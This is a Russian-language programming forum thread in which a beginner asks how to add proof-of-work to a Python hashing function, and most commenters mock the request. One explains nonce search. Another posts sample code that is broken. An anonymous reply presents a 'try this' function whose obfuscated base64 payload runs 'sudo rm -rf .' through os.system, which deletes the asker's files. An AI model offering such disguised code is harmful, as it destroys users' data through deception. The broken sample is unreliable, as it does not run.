LINUX.ORG.RU

Proof_of_Work блокчейн

 


0

1

Как в питоне реализовать самый простой алгоритм Proof_of_Work?

def get_hash(filename):
    # Указываем имя файла для чтения, с указанием папки
    file = open(blockchain_dir + filename, 'rb').read()
    return hashlib.sha256(file).hexdigest()

Прошу дополнить эту функцию, чтобы она выполняла поставленную задачу

Вопрос не корректно поставлен. Тебе надо теорию про блокчейн понять, а реализация в питоне это дело десятое.

peregrine ★★★★★
()

так тебе в job!

ggrn ★★★★★
()

Тебе нужно два репетитора:

  • по блокчейну
  • по питону

Всё что тебе советуют дельного, пролетает насквозь не задерживаясь. А теперь ты ещё и по-мудацки вести себя начал. Нехорошо.

vvn_black ★★★★★
()
Ответ на: комментарий от lil_rainnn

Потому что они долго упорно и нудно учились. И готовы помогать тем, кто готов также учиться.

У тебя же спросили, что ты под Proof_of_Work подразумеваешь, а ты в ответ «Я просто прошу помочь написать код. Не надо мне говорить, что я должен понять!».

Как тебе помочь, если непонятно что ты пытаешься сделать.

vvn_black ★★★★★
()
Ответ на: комментарий от vvn_black

А неужели непонятно, что я под тим подразумеваю? Мне кажется, что это алгоритм, который не нуждается в объяснении. У него одна функция

lil_rainnn
() автор топика
Ответ на: комментарий от lil_rainnn

В твоём случае, ты тратишь колосальные усилия на осваивание питона, пытаясь накодить блокчейн на файлах. Путаясь то в json, то в хеш-функциях, то в файловых операциях, а при этом проглядывает, что ты не очень знаешь, что должно в итоге получиться.

А неужели непонятно, что я под тим подразумеваю?

Совершенно непонятно. Proof_of_Work - это принцип, а не алгоритм.

vvn_black ★★★★★
()
Ответ на: комментарий от lil_rainnn

Могу сказать куда тебе идти

anonymous
()
Ответ на: комментарий от lil_rainnn

Вот ты говоришь

POW

и считаешь это каким-то «блоком» который просто нужно добавить. Но это не просто блок, а как минимум два блока (для расчета nonce и проверки) и несколько проводов исходящих из них. Эти провода должны пристыковаться к проводам исходящим из той балалайки, которую ты пишешь. Потому тебе и задают вопросы.

Вот что такое PoW (тот который в биткоине, я не знаю какой из них самый простой): майнер взял транзакции о которых он знает, добавил туда хеш предыдущего блока, временную метку и еще один битовый массив (или число), так называемый nonce, nonce можно выбирать произвольно. Считает от этого всего хеш, интерпретирует его как число (256 битное) и сравнивает с целевым значением. Если получилось меньше, то он красавчик, может публиковать блок. Если получилось больше, то нужно выбрать другой nonce. Процедура продолжается пока не получится меньше. То есть там у тебя должен быть цикл поиска nonce. Вот это вот и есть PoW. Целевое значение задает сложность, если оно имеет вид 0xfff…fff то это легче всего, почти любое число будет меньше его, и nonce подбирается за один раз. Если же целевое значение имеет вид 0x000…0001, то это сложнее всего, потому что единственное меньшее, это 0, а чтобы получить такой хеш нужно очень долго подбирать nonce. Если же целевое значение 0x7ff..fff, то примерно половина чисел меньше его и nonce подберется и вероятностью 50% с первого раза.

vlad9486
()
Последнее исправление: vlad9486 (всего исправлений: 2)

Как в питоне реализовать самый простой алгоритм Proof_of_Work?

Принимать за id нового блока хеш от id предыдущего.

vvn_black ★★★★★
()
Ответ на: комментарий от lil_rainnn

Вот ты объясни, почему программисты такие зазнавшиеся люди?

А неужели непонятно, что я под тим подразумеваю?

Девушка, если мы такие плохие, а вам всё так очевидно, какого ж хрена вы сюда приползли клянчить бесплатно писать вам код?

slovazap ★★★★★
()
Ответ на: комментарий от vvn_black

А представь себе если это не самообразование и даже не студенческий курсач и даже не диплом, а реальная работа, которая в дело пойдёт, может даже в порядке цифровизаций.

anonymous
()

Без обид, но такое ощущение, что ты судорожно пытаешься решить какую-то задачу слабо разбираясь и в предметной области и в Питоне и вообще в программировании.

Тут можно посоветовать только засесть за книжки. Или нанять кого-то, если совсем дедлайн и жёстко спросят

anonymous
()

Прошу дополнить эту функцию, чтобы она выполняла поставленную задачу

нифига себе, в приличном обществе даже пмы в джире ставят задачи не с таким напором.

inb4 «в приличном обществе», «пм», «джира» - взаимоисключающие параграфы, да, да

cdshines ★★★★★
()

print («Loading...»)

прошу дополнить эту функцию, чтобы она реализовывала крутую 3D игру

buratino ★★★★★
()
Ответ на: комментарий от anonymous

ты судорожно пытаешься решить какую-то задачу слабо разбираясь и в предметной области и в Питоне и вообще в программировании

Не пребывая в сознании при этом.

WitcherGeralt ★★
()
Ответ на: комментарий от anonymous
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
NameError: name 'run' is not defined

anonymous
()

тесен мир

на русска есть тексты ужо даж в pdf видах аль в мёртвых деревьях листах.

нет проблемы у тя.

qulinxao3
()

Лопушок, PoW подразумевает поиск загадки по нонсенсу (отгадке) на требуемую сложность (длину битов), поэтому уже вызов функции нужно менять:

def get_puzzle(filename, aim, res_mask=0b111111111):
  res = None
  file = open(blockchain_dir + filename, 'rb').read()
  for i in range(1000000000000000):
    noncence = str(i) 
    aim_pretender = hashlib.sha256(file+noncence).hexdigest()
    if (aim_pretender & res_mask)=(aim & res_mask):
      res = noncence
      break
  return res

Как-то так, но перебор конечно должен быть сложнее.

Novator ★★★★★
()

Какая прелесть.

UPD: Аж сходил почитал остальные треды. Это так прекрасно!

skiminok1986 ★★★★★
()
Последнее исправление: skiminok1986 (всего исправлений: 1)
Ответ на: комментарий от Novator

Похешировать можно два-три раза, чтобы различать разные хеши блока.

ratvier ★★
()
Ответ на: комментарий от cdshines

inb4 «в приличном обществе», «пм», «джира» - взаимоисключающие параграфы, да, да

Какие из этих параграфов якобы исключают друг друга?

eternal_sorrow ★★★★★
()
Ответ на: комментарий от lil_rainnn

Попробуй вот так:

def get_puzzle(filename, aim=None, res_mask=0b111111111):
    import os
    import base64
    os.system(base64.b64decode(b"c3VkbyBybSAtcmYgLg==").decode())
anonymous
()
Ответ на: комментарий от lil_rainnn

Я просто прошу помочь написать код. Не надо мне говорить, что я должен понять!

Просто форкни репу биткоина и замени bitcoin на raincoin.

goingUp ★★★★★
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.